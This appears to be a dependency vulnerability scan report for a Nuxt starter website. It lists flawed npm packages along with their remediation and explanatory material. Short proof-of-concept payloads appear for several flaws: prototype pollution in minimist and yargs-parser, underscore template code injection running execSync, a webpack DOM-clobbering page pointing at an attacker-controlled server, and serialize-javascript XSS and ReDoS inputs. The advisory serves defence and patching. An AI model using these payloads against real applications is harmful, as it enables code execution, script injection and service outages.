  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › move-concurrently@1.0.1 › copy-concurrently@1.0.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › move-concurrently@1.0.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › move-concurrently@1.0.1 › copy-concurrently@1.0.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6

…and 17 more

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

Missing Release of Resource after Effective Lifetime vulnerability report

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1

…and 1 more

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URLs. An Attacker can introduce unsafe HTML characters through non-http URLs.

PoC

const serialize = require('serialize-javascript');

let x = serialize({
    x: new URL("x:</script>")
});

console.log(x)

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 6.0.2 or higher.

References

Cross-site Scripting (XSS) vulnerability report

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.21.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2
    Remediation: Upgrade to @nuxtjs/axios@5.12.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

Server-Side Request Forgery (SSRF) vulnerability report

medium severity

Denial of Service (DoS)

  • Vulnerable module: jpeg-js
  • Introduced through: @nuxtjs/pwa@0.2.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/icon@3.0.0-beta.16 › jimp@0.6.8 › @jimp/types@0.6.8 › @jimp/jpeg@0.6.8 › jpeg-js@0.3.7

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). The attacker could manipulate the exif data in the image file such as change the image pixel to 64250x64250pixels. If the module loaded the crafted image, it tries to allocate 4128062500 pixels into memory.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade jpeg-js to version 0.4.0 or higher.

References

Denial of Service (DoS) vulnerability report

medium severity

Denial of Service (DoS)

  • Vulnerable module: js-yaml
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade js-yaml to version 3.13.0 or higher.

References

Denial of Service (DoS) vulnerability report

medium severity

Denial of Service

  • Vulnerable module: node-fetch
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › node-fetch@1.6.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › node-fetch@1.6.3

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.

References

Denial of Service vulnerability report

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: webpack
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule class. Non-script HTML elements with unsanitized attributes such as name and id can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.

PoC

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade webpack to version 5.94.0 or higher.

References

Cross-site Scripting (XSS) vulnerability report

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › minimist@1.2.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › minimist@1.2.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/icon@3.0.0-beta.16 › jimp@0.6.8 › @jimp/custom@0.6.8 › @jimp/core@0.6.8 › mkdirp@0.5.1 › minimist@0.0.8

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

Prototype Pollution vulnerability report

medium severity

Prototype Pollution

  • Vulnerable module: yargs-parser
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › yargs-parser@7.0.0
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › yargs-parser@7.0.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

  1. It could be used for privilege escalation.
  2. The library could be used to parse user input received from different sources:
    • terminal emulators
    • system calls from other code bases
    • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

Prototype Pollution vulnerability report

medium severity

Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: express-mysql-session@1.3.0

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › express-mysql-session@1.3.0 › underscore@1.8.3
    Remediation: Upgrade to express-mysql-session@2.1.6.

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

Arbitrary Code Injection vulnerability report

medium severity

Denial of Service (DoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.18.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2
    Remediation: Upgrade to @nuxtjs/axios@5.1.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to content continuing to be accepted from requests after maxContentLength is exceeded.

PoC

require('axios').get(
  'https://upload.wikimedia.org/wikipedia/commons/f/fe/A_Different_Slant_on_Carina.jpg',
  { maxContentLength: 2000 }
)
  .then(d => console.log('done'))
  .catch(e => console.log(e.toString()))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade axios to version 0.18.1 or higher.

References

Denial of Service (DoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.29.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

